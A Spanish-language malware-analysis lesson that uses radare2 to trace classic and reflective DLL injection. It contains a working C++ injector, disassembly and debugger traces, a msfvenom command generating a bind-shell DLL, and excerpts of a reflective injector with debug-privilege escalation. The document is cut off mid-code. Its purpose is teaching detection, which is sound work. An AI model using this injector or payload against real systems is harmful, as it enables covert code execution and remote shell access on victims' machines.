Reconocer acceso a procesos, reservas remotas, escritura de memoria y carga de módulos.
Notas de la práctica
Las capturas corresponden al análisis original del autor. Puedes seguir la lectura del código y las evidencias desde esta página. El trabajo dinámico con muestras requiere un laboratorio Windows separado del equipo de uso habitual.
Edición parcial: diferencias con el original
Se excluyen la implementación de los inyectores, la generación de DLL con payloads y el ejercicio de DLL hijacking. Se conserva el caso de SFILE2 con sus capturas de análisis.
Prepara el análisis con el agente
Comparte esta lección y sus evidencias con tu agente. Pídele que te ayude a organizar la lectura y que justifique cada conclusión con una observación concreta.
Estoy estudiando «Análisis de inyección de DLL» del curso de Lobera. Ayúdame a interpretar las funciones, estructuras y capturas de esta lección. Distingue las observaciones del caso de las hipótesis y cita la evidencia que sostiene cada conclusión.
El análisis se apoya en las evidencias disponibles para este caso. Preparación y funcionamiento.
En esta entrega de la serie de análisis de malware con radare2, empezamos a examinar algunas técnicas básicas de inyección de código, utilizadas por el malware para evadir software antivirus. Comenzaremos por lo más básico: inyección de DLL y carga reflectiva de DLL. Son técnicas poco habituales hoy en día, pero útiles para entender los procesos y métodos subyacentes que emplean los atacantes.
Inyección básica de DLL
Según Wikipedia:
La inyección de DLL es una técnica que permite ejecutar código dentro del espacio de direcciones de otro proceso, forzándolo a cargar una biblioteca de enlace dinámico. Se utiliza a menudo desde programas externos para influir en el comportamiento de otro programa de una forma no prevista por sus autores. Por ejemplo, el código inyectado puede interceptar llamadas a funciones del sistema o leer el contenido de campos de contraseña, lo que no es posible de la forma habitual. A un programa que inyecta código arbitrario en procesos arbitrarios se le denomina inyector de DLL.
En términos sencillos, con la inyección de DLL un atacante tiene un programa malicioso en forma de DLL que quiere ejecutar en el sistema objetivo. ¿Por qué no ejecutarlo directamente? Porque los EDR y los sistemas de seguridad en general realizan comprobaciones sobre el programa antes de permitir su ejecución: verificación de firmas contra el binario para detectar patrones maliciosos conocidos, comprobación de acciones sospechosas, interceptación de llamadas a la API, entre otras técnicas de detección. Pero si el código malicioso se ejecuta dentro del proceso de un programa que ya ha sido validado, el atacante se salta esas comprobaciones y obtiene ejecución fácilmente. Esto puede hacerse de muchas maneras; una de las más sencillas es la inserción «remota» de una DLL, es decir, la inyección de DLL.
Una DLL (Dynamic-Link Library) es la implementación de Microsoft del concepto de biblioteca compartida en los sistemas operativos Windows y OS/2. Suelen tener la extensión DLL, OCX (para bibliotecas con controles ActiveX) o DRV (para controladores heredados). El formato de archivo es el mismo que el de los EXE de Windows: Portable Executable (PE) para Windows de 32 y 64 bits, y New Executable (NE) para 16 bits. Al igual que los EXE, las DLL pueden contener código, datos y recursos en cualquier combinación. En términos generales, una DLL es un conjunto de funciones relacionadas con una tarea común (por ejemplo, operaciones matemáticas avanzadas) susceptible de ser utilizada por distintos programas; la reutilización de código facilita el desarrollo. En nuestro caso, una DLL contendrá código, recursos, una lista de funciones importadas (las que necesita para funcionar) y una lista de funciones exportadas (las que ofrece a otros programas).
A continuación se muestra un ejemplo de DLL «hola mundo»:
#include "main.h"
// a sample exported function
void DLL_EXPORT SomeFunction(const LPCSTR sometext)
{
MessageBoxA(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}
extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// attach to process
// return FALSE to fail DLL load
MessageBoxA(0, "dummy text", "DLL Message: ATTACH!", MB_OK | MB_ICONINFORMATION);
break;
case DLL_PROCESS_DETACH:
// detach from process
break;
case DLL_THREAD_ATTACH:
// attach to thread
break;
case DLL_THREAD_DETACH:
// detach from thread
break;
}
return TRUE; // succesful
}
En este caso concreto, si un programa utiliza esta DLL cargándola (por ejemplo, llamando a LoadLibrary o incluyendo la biblioteca en la compilación), podrá invocar SomeFunction, que estará en los exports. Al mismo tiempo, la DLL importa MessageBox. También vemos el código de DllMain, que es la primera llamada que se ejecuta cuando la biblioteca entra en juego. Muestra un cuadro de mensaje cuando se asocia a un proceso, que es exactamente lo que buscamos. El código tras DLL_PROCESS_ATTACH se ejecuta en cuanto la biblioteca se incluye (mediante LoadLibrary, por ejemplo) en el proceso. Así pues, si conseguimos que un proceso llame a LoadLibraryA sobre esta DLL, el MessageBox("dummytext") se ejecutará automáticamente.
Y ahí es donde entra la primera y más básica forma de inyección de DLL:
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
LPCSTR DllPath = "C:\\Users\\lab\\Documents\\projects\\DLLINJECT1\\dummydll.dll"; // The Path to our DLL
HWND hwnd = FindWindowA(NULL, "DummyWindow1"); // HWND (Windows window) by Window Name
DWORD procID; // A 32-bit unsigned integer, DWORDS are mostly used to store Hexadecimal Addresses
GetWindowThreadProcessId(hwnd, &procID); // Getting our Process ID, as an ex. like 000027AC
HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID); // Opening the Process with All Access
// Allocate memory for the dllpath in the target process, length of the path string + null terminator
LPVOID pDllPath = VirtualAllocEx(handle, 0, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
// Write the path to the address of the memory we just allocated in the target process
WriteProcessMemory(handle, pDllPath, (LPVOID)DllPath, strlen(DllPath) + 1, 0);
// Create a Remote Thread in the target process which calls LoadLibraryA as our dllpath as an argument -> program loads our dll
HANDLE hLoadThread = CreateRemoteThread(handle, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"), pDllPath, 0, 0);
WaitForSingleObject(hLoadThread, INFINITE); // Wait for the execution of our loader thread to finish
cout << "Dll path allocated at: " << hex << pDllPath << endl;
cin.get();
VirtualFreeEx(handle, pDllPath, strlen(DllPath) + 1, MEM_RELEASE); // Free the memory allocated for our dll path
return 0;
}
El proceso de inyección básica de DLL es sencillo:
- Primero el atacante coloca la DLL maliciosa en disco.
- Después abre un proceso objetivo y obtiene un handle.
- A continuación llama a
VirtualAllocExpara reservar un bloque de memoria en el proceso remoto del tamaño de la ruta de la DLL (+1 para el terminador NULL). - Luego escribe allí la ruta de la DLL.
- Finalmente, inicia un nuevo hilo en ese proceso que llama a
LoadLibraryA, usando la ruta de la DLL escrita como parámetro.
Para que LoadLibraryA se ejecute en el hilo remoto, necesitamos resolver su dirección; por eso usamos GetProcAddress. Como forma parte de kernel32.dll, primero obtenemos un handle a esa biblioteca. Esto se entiende más claramente en el minuto 8:00 del tutorial de Debasish Mandal, donde explica la técnica con un script sencillo en Python.
Tras eso, aparece un MessageBox. Después el programa descarga todo y vuelve a la normalidad. ¿Cómo se ve esto desde el punto de vista del reversing?
Comprobémoslo en radare2:
[0x00401550]> pdf
;-- main:
; CALL XREF from sym.__tmainCRTStartup @ 0x4013c2
/ 465: dbg.main (int64_t arg1);
| ; var DWORD procID @ rbp-0x2c
| ; var HANDLE hLoadThread @ rbp-0x28
| ; var LPVOID pDllPath @ rbp-0x20
| ; var HANDLE handle @ rbp-0x18
| ; var HWND hwnd @ rbp-0x10
| ; var LPCSTR DllPath @ rbp-0x8
| ; var char *var_20h @ rsp+0x20
| ; var int64_t var_28h @ rsp+0x28
| ; var char *var_30h @ rsp+0x30
| ; arg int64_t arg1 @ rdi
| 0x00401550 55 push rbp ; int main();
| 0x00401551 4889e5 mov rbp, rsp
| 0x00401554 4883ec70 sub rsp, 0x70
| 0x00401558 e833030000 call sym.__main
| 0x0040155d 488d05a43a00. lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
| 0x00401564 488945f8 mov qword [DllPath], rax
| 0x00401568 488d15d13a00. lea rdx, str.DummyWindow1 ; 0x405040 ; "DummyWindow1"
| 0x0040156f b900000000 mov ecx, 0
| 0x00401574 488b05f97e00. mov rax, qword [sym.imp.USER32.dll_FindWindowA] ; [0x409474:8]=0x9892 reloc.USER32.dll_FindWindowA
| 0x0040157b ffd0 call rax
| 0x0040157d 488945f0 mov qword [hwnd], rax
| 0x00401581 488d45d4 lea rax, [procID]
| 0x00401585 488b4df0 mov rcx, qword [hwnd]
| 0x00401589 4889c2 mov rdx, rax
| 0x0040158c 488b05e97e00. mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x98a0 reloc.USER32.dll_GetWindowThreadProcessId
| 0x00401593 ffd0 call rax
| 0x00401595 8b45d4 mov eax, dword [procID]
| 0x00401598 4189c0 mov r8d, eax
| 0x0040159b ba00000000 mov edx, 0
| 0x004015a0 b9ff0f1f00 mov ecx, 0x1f0fff
| 0x004015a5 488b05687d00. mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x9610 reloc.KERNEL32.dll_OpenProcess
| 0x004015ac ffd0 call rax
| 0x004015ae 488945e8 mov qword [handle], rax
| 0x004015b2 488b45f8 mov rax, qword [DllPath]
| 0x004015b6 4889c1 mov rcx, rax
| 0x004015b9 e8f2160000 call sym.strlen
| 0x004015be 488d5001 lea rdx, [rax + 1]
| 0x004015c2 488b45e8 mov rax, qword [handle]
| 0x004015c6 c74424200400. mov dword [var_20h], 4
| 0x004015ce 41b900100000 mov r9d, 0x1000
| 0x004015d4 4989d0 mov r8, rdx
| 0x004015d7 ba00000000 mov edx, 0
| 0x004015dc 4889c1 mov rcx, rax
| 0x004015df 488b05867d00. mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x96f4 reloc.KERNEL32.dll_VirtualAllocEx
| 0x004015e6 ffd0 call rax
| 0x004015e8 488945e0 mov qword [pDllPath], rax
| 0x004015ec 488b45f8 mov rax, qword [DllPath]
| 0x004015f0 4889c1 mov rcx, rax
| 0x004015f3 e8b8160000 call sym.strlen
| 0x004015f8 4c8d4001 lea r8, [rax + 1]
| 0x004015fc 488b4df8 mov rcx, qword [DllPath]
| 0x00401600 488b55e0 mov rdx, qword [pDllPath]
| 0x00401604 488b45e8 mov rax, qword [handle]
| 0x00401608 48c744242000. mov qword [var_20h], 0
| 0x00401611 4d89c1 mov r9, r8
| 0x00401614 4989c8 mov r8, rcx
| 0x00401617 4889c1 mov rcx, rax
| 0x0040161a 488b05737d00. mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x974e reloc.KERNEL32.dll_WriteProcessMemory ; "N\x97"
| 0x00401621 ffd0 call rax
| 0x00401623 488d0d233a00. lea rcx, str.Kernel32.dll ; 0x40504d ; "Kernel32.dll"
| 0x0040162a 488b05ab7c00. mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x957a reloc.KERNEL32.dll_GetModuleHandleA ; "z\x95"
| 0x00401631 ffd0 call rax
| 0x00401633 488d15203a00. lea rdx, str.LoadLibraryA ; 0x40505a ; "LoadLibraryA"
| 0x0040163a 4889c1 mov rcx, rax
| 0x0040163d 488b05a07c00. mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x958e reloc.KERNEL32.dll_GetProcAddress
| 0x00401644 ffd0 call rax
| 0x00401646 4889c1 mov rcx, rax
| 0x00401649 488b45e8 mov rax, qword [handle]
| 0x0040164d 48c744243000. mov qword [var_30h], 0
| 0x00401656 c74424280000. mov dword [var_28h], 0
| 0x0040165e 488b55e0 mov rdx, qword [pDllPath]
| 0x00401662 4889542420 mov qword [var_20h], rdx
| 0x00401667 4989c9 mov r9, rcx
| 0x0040166a 41b800000000 mov r8d, 0
| 0x00401670 ba00000000 mov edx, 0
| 0x00401675 4889c1 mov rcx, rax
| 0x00401678 488b05257c00. mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x94e4 reloc.KERNEL32.dll_CreateRemoteThread
| 0x0040167f ffd0 call rax
| 0x00401681 488945d8 mov qword [hLoadThread], rax
| 0x00401685 488b45d8 mov rax, qword [hLoadThread]
| 0x00401689 baffffffff mov edx, 0xffffffff ; -1
| 0x0040168e 4889c1 mov rcx, rax
| 0x00401691 488b05f47c00. mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject] ; [0x40938c:8]=0x9738 reloc.KERNEL32.dll_WaitForSingleObject ; "8\x97"
| 0x00401698 ffd0 call rax
| 0x0040169a 488d15c63900. lea rdx, str.Dll_path_allocated_at:_ ; 0x405067 ; "Dll path allocated at: "
| 0x004016a1 488b0df83c00. mov rcx, qword [0x004053a0] ; [0x4053a0:8]=0x4094c4 sym.imp.libstdc_6.dll_std::cout
| 0x004016a8 e8f3000000 call sym std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) ; sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
| 0x004016ad 4889c1 mov rcx, rax
| 0x004016b0 488d05891800. lea rax, [dbg.std::hex(std::ios_base&)] ; dbg.std::hex_std::ios_base_
| ; 0x402f40
| 0x004016b7 4889c2 mov rdx, rax
| 0x004016ba e809010000 call sym std::ostream::operator<<(std::ios_base& (*)(std::ios_base&)) ; sym.std::ostream::operator___std::ios_base____std::ios_base__
| 0x004016bf 4889c1 mov rcx, rax
| 0x004016c2 488b45e0 mov rax, qword [pDllPath]
| 0x004016c6 4889c2 mov rdx, rax
| 0x004016c9 e8f2000000 call sym std::ostream::operator<<(void const*) ; sym.std::ostream::operator___void_const_
| 0x004016ce 488b15db3c00. mov rdx, qword [0x004053b0] ; [0x4053b0:8]=0x4017a8
| 0x004016d5 4889c1 mov rcx, rax
| 0x004016d8 e8f3000000 call sym std::ostream::operator<<(std::ostream& (*)(std::ostream&)) ; sym.std::ostream::operator___std::ostream____std::ostream__
| 0x004016dd 488b0dac3c00. mov rcx, qword [0x00405390] ; [0x405390:8]=0x4094bc sym.imp.libstdc_6.dll_std::cin
| 0x004016e4 e8ef000000 call fcn.004017d8
| 0x004016e9 488b45f8 mov rax, qword [DllPath]
| 0x004016ed 4889c1 mov rcx, rax
| 0x004016f0 e8bb150000 call sym.strlen
| 0x004016f5 488d4801 lea rcx, [rax + 1]
| 0x004016f9 488b55e0 mov rdx, qword [pDllPath]
| 0x004016fd 488b45e8 mov rax, qword [handle]
| 0x00401701 41b900800000 mov r9d, 0x8000
| 0x00401707 4989c8 mov r8, rcx
| 0x0040170a 4889c1 mov rcx, rax
| 0x0040170d 488b05607c00. mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx] ; [0x409374:8]=0x9706 reloc.KERNEL32.dll_VirtualFreeEx
| 0x00401714 ffd0 call rax
| 0x00401716 b800000000 mov eax, 0
| 0x0040171b 4883c470 add rsp, 0x70
| 0x0040171f 5d pop rbp
\ 0x00401720 c3 ret
[0x00401550]>
Esta técnica es muy fácil de detectar en un binario (por eso casi no se usa actualmente). Básicamente encontraremos una cadena de VirtualAllocEx, WriteProcessMemory, GetProcAddress/LoadLibraryA y luego un CreateRemoteThread. Aunque la ruta de la DLL puede estar ofuscada, esa secuencia dentro de un archivo sospechoso representa una señal de alerta muy clara y los EDR la detectan con facilidad.
Desde el punto de vista del depurador, vemos que primero se carga la ruta de la DLL:
hit breakpoint at: 0x40155d
[0x0040155d]> pd 10
| ;-- rip:
| 0x0040155d b 488d05a43a00. lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
| 0x00401564 488945f8 mov qword [DllPath], rax
A continuación se recupera el identificador de ventana del proceso en el que queremos inyectar:
| 0x0040157b b ffd0 call rax
| 0x0040157d b 488945f0 mov qword [hwnd], rax
| 0x00401581 488d45d4 lea rax, [procID]
| 0x00401585 488b4df0 mov rcx, qword [hwnd]
| 0x00401589 4889c2 mov rdx, rax
[0x0040155d]> dc
hit breakpoint at: 0x40157d
[0x0040155d]> dr rax
0x000807ba
[0x0040155d]>
Luego el identificador de proceso:
| 0x0040158c 488b05e97e00. mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x7ffe66b33500
| 0x00401593 ffd0 call rax
| ;-- rip:
| 0x00401595 b 8b45d4 mov eax, dword [procID]
| 0x00401598 4189c0 mov r8d, eax
| 0x0040159b ba00000000 mov edx, 0
Después el handle del proceso:
| 0x004015a0 b9ff0f1f00 mov ecx, 0x1f0fff
| 0x004015a5 488b05687d00. mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x7ffe6660ade0
| 0x004015ac ffd0 call rax
| 0x004015ae 488945e8 mov qword [handle], rax
Y reservamos espacio:
| 0x004015dc 4889c1 mov rcx, rax
| 0x004015df 488b05867d00. mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x7ffe6662ca20 ; " \xcabf\xfe\x7f"
| 0x004015e6 ffd0 call rax
| ;-- rip:
| 0x004015e8 b 488945e0 mov qword [pDllPath], rax
| 0x004015ec 488b45f8 mov rax, qword [DllPath]
[0x004015ae]> dr rax
0x020c0000
[0x004015ae]>
Si comprobamos esa dirección en el proceso remoto adjuntando una sesión de depurador (r2 -d), vemos que inicialmente todo está a ceros.
[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0010 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0030 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0040 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0050 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0060 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0070 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0080 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0090 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c00a0 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c00b0 0x00000000 0x00000000 0x00000000 0x00000000 ................
Después se llama a WriteProcessMemory:
| 0x004015e8 b 488945e0 mov qword [pDllPath], rax
| 0x004015ec 488b45f8 mov rax, qword [DllPath]
| 0x004015f0 4889c1 mov rcx, rax
| 0x004015f3 e8b8160000 call sym.strlen
| 0x004015f8 4c8d4001 lea r8, [rax + 1]
| 0x004015fc 488b4df8 mov rcx, qword [DllPath]
| 0x00401600 488b55e0 mov rdx, qword [pDllPath]
| 0x00401604 488b45e8 mov rax, qword [handle]
| 0x00401608 48c744242000. mov qword [var_20h], 0
| 0x00401611 4d89c1 mov r9, r8
| 0x00401614 4989c8 mov r8, rcx
| 0x00401617 4889c1 mov rcx, rax
| 0x0040161a 488b05737d00. mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x7ffe6662cc80
| 0x00401621 ffd0 call rax
| 0x00401623 488d0d233a00. lea rcx, str.Kernel32.dll ; 0x40504d ; "Kernel32.dll"
Y si volvemos a comprobar, vemos la ruta de la DLL escrita allí:
[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000 0x555c3a43 0x73726573 0x62616c5c 0x636f445c C:\Users\lab\Doc
0x020c0010 0x6e656d75 0x705c7374 0x656a6f72 0x5c737463 uments\projects\
0x020c0020 0x494c4c44 0x43454a4e 0x645c3154 0x796d6d75 DLLINJECT1\dummy
0x020c0030 0x2e6c6c64 0x006c6c64 0x00000000 0x00000000 dll.dll.........
0x020c0040 0x00000000 0x00000000 0x00000000 0x00000000 ................
Ahora resolvemos la base de kernel32 y luego LoadLibraryA:
[0x00401623]> pd 20
| ;-- rip:
| 0x00401623 b 488d0d233a00. lea rcx, str.Kernel32.dll ; 0x40504d ; "Kernel32.dll"
| 0x0040162a 488b05ab7c00. mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x7ffe6660f0b0
| 0x00401631 ffd0 call rax
| 0x00401633 488d15203a00. lea rdx, str.LoadLibraryA ; 0x40505a ; "LoadLibraryA"
| 0x0040163a 4889c1 mov rcx, rax
| 0x0040163d 488b05a07c00. mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x7ffe6660aec0
[0x00401623]> dr rax
0x7ffe666104f0
Y con eso se llama a CreateRemoteThread:
0x00401646 b 4889c1 mov rcx, rax
| 0x00401649 488b45e8 mov rax, qword [handle]
| 0x0040164d 48c744243000. mov qword [var_30h], 0
| 0x00401656 c74424280000. mov dword [var_28h], 0
| 0x0040165e 488b55e0 mov rdx, qword [pDllPath]
| 0x00401662 4889542420 mov qword [var_20h], rdx
| 0x00401667 4989c9 mov r9, rcx
| 0x0040166a 41b800000000 mov r8d, 0
| 0x00401670 ba00000000 mov edx, 0
| 0x00401675 4889c1 mov rcx, rax
| 0x00401678 488b05257c00. mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x7ffe6662ab20 ; " \xabbf\xfe\x7f"
| 0x0040167f ffd0 call rax
Si volvemos al proceso víctima y comprobamos las bibliotecas cargadas, veremos una nueva dentro:
[0x7ffe672b0861]> dmi
0x00400000 0x00418000 C:\Users\lab\Desktop\DUMMYWINDOW.exe
0x7ffe67210000 0x7ffe67405000 C:\Windows\SYSTEM32\ntdll.dll
0x7ffe665f0000 0x7ffe666ae000 C:\Windows\System32\KERNEL32.DLL
0x7ffe64990000 0x7ffe64c59000 C:\Windows\System32\KERNELBASE.dll
0x7ffe664b0000 0x7ffe6654e000 C:\Windows\System32\msvcrt.dll
0x7ffe66b30000 0x7ffe66cd1000 C:\Windows\System32\USER32.dll
0x7ffe65230000 0x7ffe65252000 C:\Windows\System32\win32u.dll
0x7ffe666b0000 0x7ffe666db000 C:\Windows\System32\GDI32.dll
0x7ffe64ec0000 0x7ffe64fcb000 C:\Windows\System32\gdi32full.dll
0x7ffe64cf0000 0x7ffe64d8d000 C:\Windows\System32\msvcp_win.dll
0x7ffe64d90000 0x7ffe64e90000 C:\Windows\System32\ucrtbase.dll
0x7ffe665c0000 0x7ffe665f0000 C:\Windows\System32\IMM32.DLL
0x7ffe62300000 0x7ffe6239e000 C:\Windows\system32\uxtheme.dll
0x7ffe66750000 0x7ffe66aa5000 C:\Windows\System32\combase.dll
0x7ffe66e20000 0x7ffe66f4a000 C:\Windows\System32\RPCRT4.dll
0x7ffe653c0000 0x7ffe654d5000 C:\Windows\System32\MSCTF.dll
0x7ffe66f50000 0x7ffe6701d000 C:\Windows\System32\OLEAUT32.dll
0x7ffe66410000 0x7ffe664ab000 C:\Windows\System32\sechost.dll
0x7ffe62830000 0x7ffe62842000 C:\Windows\SYSTEM32\kernel.appcore.dll
0x7ffe64c60000 0x7ffe64ce3000 C:\Windows\System32\bcryptPrimitives.dll
0x7ffe590a0000 0x7ffe59199000 C:\Windows\SYSTEM32\textinputframework.dll
0x7ffe61cb0000 0x7ffe6200e000 C:\Windows\System32\CoreUIComponents.dll
0x7ffe654e0000 0x7ffe6558d000 C:\Windows\System32\SHCORE.dll
0x7ffe65d40000 0x7ffe65dec000 C:\Windows\System32\advapi32.dll
0x7ffe62010000 0x7ffe62102000 C:\Windows\System32\CoreMessaging.dll
0x7ffe666e0000 0x7ffe6674b000 C:\Windows\System32\WS2_32.dll
0x7ffe63750000 0x7ffe63783000 C:\Windows\SYSTEM32\ntmarta.dll
0x7ffe615e0000 0x7ffe61734000 C:\Windows\SYSTEM32\wintypes.dll
0x7ffe66cf0000 0x7ffe66e1a000 C:\Windows\System32\ole32.dll
0x7ffe65df0000 0x7ffe65e99000 C:\Windows\System32\clbcatq.dll
0x66800000 0x6681a000 C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll
0x7ffe54ea0000 0x7ffe54f4c000 C:\Windows\SYSTEM32\TextShaping.dll
[0x7ffe672b0861]>
Aparece un MessageBox en pantalla.
Generar una DLL maliciosa con msfvenom
¿Pero vamos a inyectar una DummyDLL en la víctima? Podemos portar nuestro malware al formato DLL con cambios menores, o usar el framework Metasploit en nuestros pentests para generar DLL maliciosas listas para ser inyectadas con esta técnica, usando el siguiente comando:
┌──(lab㉿kali)-[~]
└─$ msfvenom -p windows/shell/bind_tcp LHOST=0.0.0.0 LPORT=8081 -f dll > ./bindshell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of dll file: 8704 bytes
Luego basta con editar el código mostrado anteriormente.
DLL reflectiva
El problema principal del método anterior es que el atacante necesita colocar la DLL maliciosa en disco antes de inyectarla. Muchos EDR modernos detectan el archivo tras su escritura, y un equipo de respuesta a incidentes lo encontrará fácilmente durante un examen forense. Para resolver esto, Stephen Fewer propuso hace más de diez años una técnica llamada inyección reflectiva de DLL, en la que la DLL maliciosa nunca se escribe en disco: se decodifica desde la memoria del malware, se descarga de internet (desde el C2) al vuelo, etc., pero nunca toca disco. Después se inyecta y se autocarga en el proceso objetivo. Es una forma de malware sin archivos (fileless) y aparece en MITRE como T1620. Aunque puede detectarse, tiene ventajas: al cargar la DLL de forma «no oficial» —sin usar una llamada API específica para ello—, la DLL inyectada no queda registrada, evadiendo algunos mecanismos de detección.
La carga reflectiva de DLL consiste en cargar una DLL desde memoria en lugar de desde disco.
Windows no dispone de una función LoadLibrary que soporte esto, así que hay que escribir una propia, omitiendo algunas de las cosas que Windows hace normalmente, como registrar la DLL como módulo cargado en el proceso, lo que potencialmente permite eludir la monitorización de carga de DLL.
El proceso de inyección reflectiva de DLL es el siguiente:
- Abrir el proceso objetivo con permisos de lectura-escritura-ejecución y reservar memoria suficiente para la DLL completa.
- Copiar los bytes crudos de la DLL en el espacio de memoria reservado.
- Calcular el offset de memoria dentro de la DLL correspondiente al export que realiza la carga reflectiva.
- Llamar a
CreateRemoteThread(o a una función API no documentada equivalente comoRtlCreateUserThread) para iniciar la ejecución en el proceso remoto, usando la dirección del offset de la función de carga reflectiva como punto de entrada. - La función del cargador reflectivo localiza el Process Environment Block del proceso objetivo usando el registro de CPU apropiado, y lo utiliza para encontrar la dirección en memoria de
kernel32.dlly cualquier otra biblioteca necesaria. Más información sobre la resolución de kernel32 aquí - Analizar el directorio de exports de
kernel32para encontrar las direcciones de las funciones API necesarias, comoLoadLibraryA,GetProcAddressyVirtualAlloc. - Usar esas funciones para cargar correctamente la DLL (a sí misma) en memoria y llamar a su punto de entrada,
DllMain.
El código completo que usaremos para estudiar cómo detectar una inyección reflectiva de DLL es el original de Stephen Fewer.
Análisis estático
En primer lugar, un posible inyector accederá a la DLL que se va a inyectar. Puede venir en forma de archivo en disco (inusual, pero usado en el ejemplo), bytes descargados o dentro del binario en la sección de recursos, por ejemplo:
if( argc == 1 )
dwProcessId = GetCurrentProcessId();
else
dwProcessId = atoi( argv[1] );
if( argc >= 3 )
cpDllFile = argv[2];
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
Vemos cómo se carga la cadena de la ruta aquí:


Se abre un handle al archivo:

Y se leen los bytes:

Tras eso, el atacante abre el proceso víctima y obtiene un handle. Luego llama a LoadRemoteLibraryR, una función personalizada encargada de escribir los bytes crudos de la DLL dentro del proceso remoto y pasar la ejecución al ReflectiveLoader:
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
WaitForSingleObject( hModule, -1 );
Vemos cómo se obtiene el handle del proceso:


Y luego se pasa a una función que podemos identificar como el inyector:

A continuación vemos una combinación de VirtualAllocEx, WriteProcessMemory y CreateRemoteThread que debería disparar una alerta:
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
